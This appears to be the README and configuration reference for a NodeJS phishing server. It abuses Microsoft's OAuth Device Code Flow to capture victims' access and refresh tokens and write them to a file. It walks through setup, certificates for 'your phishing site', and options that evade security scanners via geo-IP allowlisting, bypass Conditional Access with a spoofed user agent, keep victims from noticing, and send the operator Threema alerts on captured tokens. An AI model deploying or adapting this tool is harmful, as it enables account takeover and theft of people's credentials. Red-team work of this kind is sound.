This NodeJS app listens for users accessing the website. In the background a Device Code Flow is started and the User Code presented to the user. Once the user finished the flow, the tokens are stored to a file. This default example is configured to imitate a file sharing process.
Tested with NodeJS 18.13
npm install
node server.js
Use certbot to get valid certificates for your phishing site
sudo certbot certonly --standalone
Configure the certificates/key in the configuration explaind below.
The server.js
file contains a config objects:
const config = {
httpPort: 80,
httpsPort: 443,
testMode: true,
debug: false,
clientId: 'd3590ed6-52b3-4102-aeff-aad2292ab01c', // This default ID is from MS Office
tokenUrl: 'https://login.microsoftonline.com/Common/oauth2/v2.0/token',
deviceCodeUrl: 'https://login.microsoftonline.com/common/oauth2/v2.0/devicecode',
scopes: 'offline_access openid',
phishingHTML: 'index.html',
redirectUrl: 'https://www.microsoft.com',
alreadyLoggedInURL: 'https://onedriveURLwithContentOrSomethingElse',
cookieExpirationInDays: 90,
userCodesFile: 'successful_user_code_cookies.txt',
logFile: 'logfile.txt',
tokenFile: 'tokens.txt',
threemaOn: false,
threemaTo: ['YourID1', 'YourID2'],
threemaFrom: 'YourName',
threemaURL: 'https://msgapi.threema.ch/send_simple',
threemaSecret: 'PutYourSecretHere',
keyFilePath: '/etc/letsencrypt/live/{path}/privkey.pem',
certFilePath: '/etc/letsencrypt/live/{path}/cert.pem',
caFilePath: '/etc/letsencrypt/live/{path}/fullchain.pem',
userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36',
geoipallowlist: ['CH']
}
Explanation of the variables:
httpPort
: Port used for HTTP connection. Should only be used in combination withtestMode
.httpsPort
: Port used for HTTPS connection.testMode
: When testing locally you usally have no SSL certificates, this mode makes that easier. When usingtestMode
the server will listen on thehttpPort
insteadhttpsPort
and TLS is not used. Can betrue
orfalse
.debug
: If verbose output should be logged to console and the logfile. Can betrue
orfalse
.clientId
: OAuth client ID of the application you are trying to get access to. This ID is very important since it impacts which access rights the requested will have. See https://github.com/secureworks/family-of-client-ids-research/blob/main/scope-map.txt for MS client IDs and what permissions your tokens get when using them. We use public MS client IDs since they do not need a client secret. Third-party applications would require admin approval to be used across tenants and thus is no options for this kind of phishing, since it would fail in most cases.tokenUrl
: The URL where access tokens are requested. This is done by polling until the Device Code expires. This won't change often. The tenant, in default configCommon
, must match with the tenant used indeviceCodeUrl
but could be changed to your victims tenant.deviceCodeUrl
: The URL where a device code flow starts. Shouldn't change frequently. The tenant, in default configCommon
, must match with the tenant used intokenUrl
but could be changed to your victims tenant. This would show the vicitm the customer branded login page after entering the user code.scopes
: Defines the capabilities of the resulting access token. Permissions are defined per client/app. (See alsoclientID
). You need to includeoffline_access
if you want a refresh token. Use a space to seperate different scopes. Use the scopehttps://graph.microsoft.com/.default
for the default MS Graph scope.phishingHTML
: HTML file that is presented to the victim user visiting the phishing website. You find this file in the folderviews
.redirectUrl
: Where the victim is redirected if he accesses the base path / and not the path /share. Not using the base path is done so web crawlers won't start a Device Code Flow.alreadyLoggedInURL
: Where should users be redirected to if they visit the phishing site again and have already completed the device code flow, which means we already have their token. This is done using cookies. This way the user won't notice something bad happened to him. You can prepare a OneDrive share or something else so the user has a success moment.cookieExpirationInDays
: How long is the cookie valid that determines if we already have the tokens for a specific user.userCodesFile
: Where are the codes of users stored we have successfully phished some tokens for.logFile
: Where should the logfile be written to. This logfile contains the same output as on the console.tokenFile
: Where should your polled access tokens be written to.threemaOn
: If Threema notifications should be sent or not. Can betrue
orfalse
.threemaTo
: All the Threema IDs that should be notified when new access tokens were successfully pulled. IDs need to be in an array.threemaFrom
: The Threema ID where the message is sent from.threemaURL
: URL of the Threema API. Shouldn't change often.threemaSecret
: Secret required to access the Threema API.keyFilePath
: Path where the private key of your certificate used for HTTPS is stored.certFilePath
: Path where the certificate used for HTTPS is stored.caFilePath
: Path where the CA chain used for HTTPS is stored.userAgenth
: User Agent which is used to fullfill requests. Can be used to bypass Conditional Access Policies if you know them of your customer.geoipallowlist
: To (hopefully) stop SafeLink and other security products from scanning the page and potentially flag it as malicous, specific IP geolocations can be allowed, others are redirected to $redirectUrl.
Other things to mention:
- Static assets of the HTML you present to your victims have to be placed in the folder
public/assets
. - User Codes are only valid for 15 minutes, afterwards they are no longer valid and polling stops
- The app will let you know each minute that polling is still happening or when the code expired